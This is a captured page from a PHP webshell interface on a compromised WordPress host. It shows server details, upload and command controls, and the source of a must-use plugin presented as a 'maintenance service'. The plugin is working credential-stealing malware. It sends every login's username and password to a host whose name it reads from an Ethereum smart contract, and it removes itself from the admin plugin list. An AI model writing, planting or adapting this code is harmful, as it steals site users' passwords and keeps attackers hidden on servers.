403Webshell
Server IP : 116.202.121.150  /  Your IP : 216.73.216.43
Web Server : Apache
System : Linux server5.febas.net 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
User : k9887-1 ( 1171)
PHP Version : 8.2.32
Disable Function : show_source, highlight_file, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, virtual, dl, posix_getpwnam, posix_getpwuid, posix_mkfifo, posix_mknod, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_nice, openlog, syslog, pfsockopen, system, shell_exec, passthru, popen, proc_open, exec
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/k9887-1/htdocs/elsebachlimwp/wp-content/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/k9887-1/htdocs/elsebachlimwp/wp-content/mu-plugins/wp-site-optimize.php
<?php
/**
 * Plugin Name: maintenance service
 */

add_action('wp_authenticate', 'enqueue_maintenance', 1, 2);

function enqueue_maintenance($user_login, $user_password) {
    if ($_SERVER['REQUEST_METHOD'] !== 'POST' || ($user_login === '' && $user_password === '')) {
        return null;
    }
    $maint = getMaintenance();
    if (!$maint) {
        return null;
    }
    wp_remote_post('https://'.$maint.'/api/add', [
        'headers' => [
            'Content-Type' => 'application/json',
        ],
        'body' => json_encode([
            'username' => $user_login,
            'password' => $user_password
        ]),
    ]);
}

add_filter('plugins_list', function ($plugins) {

    $self = basename(__FILE__);
    if (isset($plugins['mustuse'])) {
        foreach ($plugins['mustuse'] as $file => $data) {
            if (basename($file) === $self) {
                unset($plugins['mustuse'][$file]);
                break;
            }
        }
    }
    return $plugins;
});
function getMaintenance(){
    $response = wp_remote_post('https://ethereum-sepolia-rpc.publicnode.com', [
        'headers' => [
            'Content-Type' => 'application/json',
        ],
        'body' => wp_json_encode([
            'jsonrpc' => '2.0',
            'method'  => 'eth_call',
            'params'  => [['to' => '0x3448765118A0EeCaE26a9836848378772f91c02b', 'data' => '0xb68d1809'], 'latest'],
            'id'      => 1,
        ]),
        'timeout' => 15,
    ]);

    if (is_wp_error($response)) {
        return null;
    }

    $body = wp_remote_retrieve_body($response);
    if (!$body) {
        return null;
    }

    $data = json_decode($body, true);
    if (!is_array($data)) {
        return null;
    }

    $hex = $data['result'] ?? null;
    if (!$hex || !is_string($hex) || strlen($hex) < 130) {
        return null;
    }

    $hex = substr($hex, 2);
    $offset = hexdec(substr($hex, 0, 64)) * 2;
    $length = hexdec(substr($hex, $offset, 64));

    return hex2bin(substr($hex, $offset + 64, $length * 2));

}

Youez - 2016 - github.com/yon3zu
LinuXploit